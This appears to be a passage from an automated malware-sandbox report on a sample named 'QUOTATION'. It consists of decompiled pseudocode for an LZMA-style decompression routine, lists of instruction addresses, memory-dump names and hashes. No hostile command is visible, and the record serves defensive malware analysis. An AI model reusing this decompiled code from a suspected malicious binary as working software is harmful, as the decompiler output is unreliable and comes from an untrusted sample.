												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406905
0x00406905
0x00406909
0x0040692a
0x00406931
0x00406937
0x0040693d
0x0040694f
0x00406955
0x0040695a
0x00000000
0x0040690b
0x00406911
0x00406cd2
0x00406cd2
0x00406cd2
0x00406cd5
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00000000
0x00000000
0x00406d23
0x00406d27
0x00406ed6
0x00406eec
0x00406ef4
0x00406efb
0x00406efd
0x00406f04
0x00406f08
0x00406f08
0x00406d33
0x00406d3a
0x00406d42
0x00406d45
0x00406d48
0x00406d48
0x00406d4e
0x00406d4e
0x004064ea
0x004064ea
0x004064ea
0x004064f3
0x00000000
0x00000000
0x004064f9
0x00000000
0x00406504
0x00000000
0x00000000
0x0040650d
0x00406510
0x00406513
0x00406517
0x00000000
0x00000000
0x0040651d
0x00406520
0x00406522
0x00406523
0x00406526
0x00406528
0x00406529
0x0040652b
0x0040652e
0x00406533
0x00406538
0x00406541
0x00406554
0x00406557
0x00406563
0x0040658b
0x0040658d
0x0040659b
0x0040659b
0x0040659f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040658f
0x0040658f
0x00406592
0x00406593
0x00406593
0x00000000
0x0040658f
0x00406569
0x0040656e
0x0040656e
0x00406577
0x0040657f
0x00406582
0x00000000
0x00406588
0x00406588
0x00000000
0x00406588
0x00000000
0x004065a5
0x004065a5
0x004065a9
0x00406e55
0x00000000
0x00406e55
0x004065b2
0x004065c2
0x004065c5
0x004065c8
0x004065c8
0x004065c8
0x004065cb
0x004065cf
0x00000000
0x00000000
0x004065d1
0x004065d7
0x00406601
0x00406607
0x0040660e
0x00000000
0x0040660e
0x004065dd
0x004065e0
0x004065e5
0x004065e5
0x004065f0
0x004065f8
0x004065fb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406640
0x00406646
0x00406649
0x00406656
0x0040665e
0x00000000
0x00000000
0x00406615
0x00406615
0x00406619
0x00406e64
0x00000000
0x00406e64
0x00406625
0x00406630
0x00406630
0x00406630
0x00406633
0x00406636
0x00406639
0x0040663e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406666
0x00406668
0x0040666b
0x004066dc
0x004066df
0x004066e2
0x004066e9
0x004066f3
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x0040666d
0x00406671
0x00406674
0x00406676
0x00406679
0x0040667c
0x0040667e
0x00406681
0x00406683
0x00406688
0x0040668b
0x0040668e
0x00406692
0x00406699
0x0040669c
0x004066a3
0x004066a7
0x004066af
0x004066af
0x004066af
0x004066a9
0x004066a9
0x004066a9
0x0040669e
0x0040669e
0x0040669e
0x004066b3
0x004066b6
0x004066d4
0x004066d6
0x00000000
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c3
0x004066c3
0x004066c3
0x004066c6
0x004066c9
0x004066cb
0x004066cc
0x004066cf
0x00000000
0x004066cf
0x00000000
0x00000000
0x00000000
0x0040696f
0x00406973
0x00406996
0x00406999
0x0040699c
0x004069a6
0x00406975
0x00406975
0x00406978
0x0040697b
0x0040697e
0x0040698b
0x0040698e
0x0040698e
0x00406cd2
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00000000
0x004069b2
0x004069b6
0x00000000
0x00000000
0x004069bc
0x004069c0
0x00000000
0x00000000
0x004069c6
0x004069c8
0x004069cc
0x004069cc
0x004069cf
0x004069d3
0x00000000
0x00000000
0x00406a23
0x00406a27
0x00406a2e
0x00406a31
0x00406a34
0x00406a3e
0x00406cd2
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00406cd2
0x00406a29
0x00000000
0x00000000
0x00406a4a
0x00406a4e
0x00406a55
0x00406a58
0x00406a5b
0x00406a50
0x00406a50
0x00406a50
0x00406a5e
0x00406a61
0x00406a64
0x00406a64
0x00406a67
0x00406a6a
0x00406a6d
0x00406a6d
0x00406a70
0x00406a77
0x00406a7c
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00406eac
0x00000000
0x00406eac
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b21
0x00406b27
0x00406b29
0x00406b29
0x00406b29
0x00406b2c
0x00406b2f
0x00000000
0x00000000
0x004066ff
0x004066ff
0x00406703
0x00406e70
0x00000000
0x00406e70
0x00406709
0x0040670c
0x0040670f
0x00406713
0x00406716
0x0040671c
0x0040671e
0x0040671e
0x0040671e
0x00406721
0x00406724
0x00406724
0x00406727
0x0040672a
0x00000000
0x00000000
0x00406730
0x00406736
0x00000000
0x00000000
0x0040673c
0x0040673c
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x0040674d
0x00406750
0x00406752
0x00406758
0x0040675b
0x0040675e
0x00406761
0x00406764
0x00406767
0x0040676a
0x00406786
0x00406789
0x0040678c
0x0040678f
0x00406796
0x0040679a
0x0040679c
0x004067a0
0x0040676c
0x0040676c
0x00406770
0x00406778
0x0040677d
0x0040677f
0x00406781
0x00406781
0x004067a3
0x004067aa
0x004067ad
0x00000000
0x004067b3
0x00000000
0x004067b3
0x00000000
0x004067b8
0x004067b8
0x004067bc
0x00406e7c
0x00000000
0x00406e7c
0x004067c2
0x004067c5
0x004067c8
0x004067cc
0x004067cf
0x004067d5
0x004067d7
0x004067d7
0x004067d7
0x004067da
0x004067dd
0x004067dd
0x004067dd
0x004067e3
0x00000000
0x00000000
0x004067e5
0x004067e8
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406800
0x00406803
0x0040681b
0x0040681e
0x00406821
0x00406824
0x00406824
0x00406827
0x0040682b
0x0040682d
0x00406805
0x00406805
0x0040680d
0x00406812
0x00406814
0x00406816
0x00406816
0x00406830
0x00406837
0x0040683a
0x00000000
0x0040683c
0x00000000
0x0040683c
0x0040683a
0x00406841
0x00406841
0x00406841
0x00406841
0x00000000
0x00000000
0x0040687c
0x0040687c
0x00406880
0x00406e88
0x00000000
0x00406e88
0x00406886
0x00406889
0x0040688c
0x00406890
0x00406893
0x00406899
0x0040689b
0x0040689b
0x0040689b
0x0040689e
0x004068a1
0x004068a1
0x004068a7
0x00406845
0x00406845
0x00406848
0x00000000
0x00406848
0x004068a9
0x004068a9
0x004068ac
0x004068af
0x004068b2
0x004068b5
0x004068b8
0x004068bb
0x004068be
0x004068c1
0x004068c4
0x004068c7
0x004068df
0x004068e2
0x004068e5
0x004068e8
0x004068e8
0x004068eb
0x004068ef
0x004068f1
0x004068c9
0x004068c9
0x004068d1
0x004068d6
0x004068d8
0x004068da
0x004068da
0x004068f4
0x004068fb
0x004068fe
0x00000000
0x00406900
0x00000000
0x00406900
0x00000000
0x00406b8d
0x00406b8d
0x00406b91
0x00406eb8
0x00000000
0x00406eb8
0x00406b97
0x00406b9a
0x00406b9d
0x00406ba1
0x00406ba4
0x00406baa
0x00406bac
0x00406bac
0x00406bac
0x00406baf
0x00000000
0x00000000
0x0040695d
0x0040695d
0x00406960
0x00406cd2
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00000000
0x00406c9c
0x00406ca0
0x00406cc2
0x00406cc5
0x00406ccf
0x00406cd2
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00406cd2
0x00406ca2
0x00406ca5
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00000000
0x00000000
0x00406d59
0x00406d5d
0x00406d7b
0x00406d7b
0x00406d7b
0x00406d82
0x00406d89
0x00406d90
0x00406d90
0x00000000
0x00406d90
0x00406d5f
0x00406d62
0x00406d65
0x00406d68
0x00406d6f
0x00406cb3
0x00406cb3
0x00406cb6
0x00000000
0x00000000
0x00406e4a
0x00406e4d
0x00406d4e
0x00000000
0x00000000
0x00406a84
0x00406a86
0x00406a8d
0x00406a8e
0x00406a90
0x00406a93
0x00000000
0x00000000
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aa6
0x00406aa9
0x00406ab0
0x00406ab3
0x00406ac1
0x00000000
0x00000000
0x00406d97
0x00406d97
0x00406d9a
0x00406da1
0x00000000
0x00000000
0x00406da6
0x00406da6
0x00406daa
0x00406ee2
0x00000000
0x00406ee2
0x00406db0
0x00406db3
0x00406db6
0x00406dba
0x00406dbd
0x00406dc3
0x00406dc5
0x00406dc5
0x00406dc5
0x00406dc8
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dce
0x00406dce
0x00406dd2
0x00406e32
0x00406e35
0x00406e3a
0x00406e3b
0x00406e3d
0x00406e3f
0x00406e42
0x00406d4e
0x00406d4e
0x00000000
0x00406d54
0x00406d4e
0x00406dd4
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406e0e
0x00406e11
0x00406e14
0x00406e17
0x00406e1b
0x00406e1d
0x00406e1d
0x00406e1e
0x00406e21
0x00406df7
0x00406df7
0x00406dff
0x00406e04
0x00406e06
0x00406e09
0x00406e09
0x00406e24
0x00406e2b
0x00000000
0x00406e2d
0x00000000
0x00406e2d
0x00000000
0x00406ac9
0x00406acc
0x00406b02
0x00406c32
0x00406c32
0x00406c32
0x00406c32
0x00406c35
0x00406c35
0x00406c38
0x00406c3a
0x00406ec4
0x00000000
0x00406ec4
0x00406c40
0x00406c43
0x00000000
0x00000000
0x00406c49
0x00406c4d
0x00406c50
0x00406c50
0x00406c50
0x00000000
0x00406c50
0x00406ace
0x00406ad0
0x00406ad2
0x00406ad4
0x00406ad7
0x00406ad8
0x00406ada
0x00406adc
0x00406adf
0x00406ae2
0x00406af8
0x00406afd
0x00406b35
0x00406b35
0x00406b39
0x00406b65
0x00406b67
0x00406b6e
0x00406b71
0x00406b74
0x00406b74
0x00406b79
0x00406b79
0x00406b7b
0x00406b7e
0x00406b85
0x00406b88
0x00406bb5
0x00406bb5
0x00406bb8
0x00406bbb
0x00406c2f
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bbd
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bdb
0x00406bde
0x00406bf7
0x00406bf9
0x00406bfc
0x00406bfd
0x00406c00
0x00406c02
0x00406c05
0x00406c07
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c15
0x00406c17
0x00406c17
0x00406c18
0x00406c1b
0x00406c1e
0x00406be0
0x00406be0
0x00406be8
0x00406bed
0x00406bef
0x00406bf2
0x00406bf2
0x00406c21
0x00406c28
0x00406bb2
0x00406bb2
0x00406bb2
0x00406bb2
0x00000000
0x00406c2a
0x00000000
0x00406c2a
0x00406c28
0x00406b3b
0x00406b3e
0x00406b40
0x00406b43
0x00406b46
0x00406b49
0x00406b4b
0x00406b4e
0x00406b51
0x00406b51
0x00406b54
0x00406b54
0x00406b57
0x00406b5e
0x00406b32
0x00406b32
0x00406b32
0x00406b32
0x00000000
0x00406b60
0x00000000
0x00406b60
0x00406b5e
0x00406ae4
0x00406ae7
0x00406ae9
0x00406aec
0x00000000
0x00000000
0x0040684b
0x0040684b
0x0040684f
0x00406e94
0x00000000
0x00406e94
0x00406855
0x00406858
0x0040685b
0x0040685e
0x00406861
0x00406864
0x00406867
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406874
0x00406874
0x00406874
0x00000000
0x00000000
0x004069d6
0x004069d6
0x004069da
0x00406ea0
0x00000000
0x00406ea0
0x004069e0
0x004069e3
0x004069e6
0x004069e9
0x004069eb
0x004069eb
0x004069eb
0x004069ee
0x004069f1
0x004069f4
0x004069f7
0x004069fa
0x004069fd
0x004069fe
0x00406a00
0x00406a00
0x00406a00
0x00406a03
0x00406a06
0x00406a09
0x00406a0c
0x00406a0c
0x00406a0c
0x00406a0f
0x00406a11
0x00406a11
0x00000000
0x00000000
0x00406c53
0x00406c53
0x00406c53
0x00406c57
0x00000000
0x00000000
0x00406c5d
0x00406c60
0x00406c63
0x00406c66
0x00406c68
0x00406c68
0x00406c68
0x00406c6b
0x00406c6e
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7b
0x00406c7d
0x00406c7d
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c90
0x00406c92
0x00406c95
0x00000000
0x00406c97
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00406c95
0x00406eca
0x00000000
0x00000000
0x004064f9
0x00406f01
0x00406f01
0x00000000
0x00406f01
0x00406d4e
0x00406cd5
0x00406cd2
0x00000000
0x00406909

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ab0f5182b65f417a428d3e5ace57518a098f994e057f816ecf8909cd511bbd
Instruction ID: 51e77fe0f08f8d7ba03d7e1561fc41eb13955110d3fdee4e61b85cd17e52ee3e
Opcode Fuzzy Hash: e7ab0f5182b65f417a428d3e5ace57518a098f994e057f816ecf8909cd511bbd
Instruction Fuzzy Hash: C4712371D04229DBEF28CF98C8447ADBBB1FB44305F15806AD806BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406A23 Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406A23() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00406F09))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4)); // executed
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
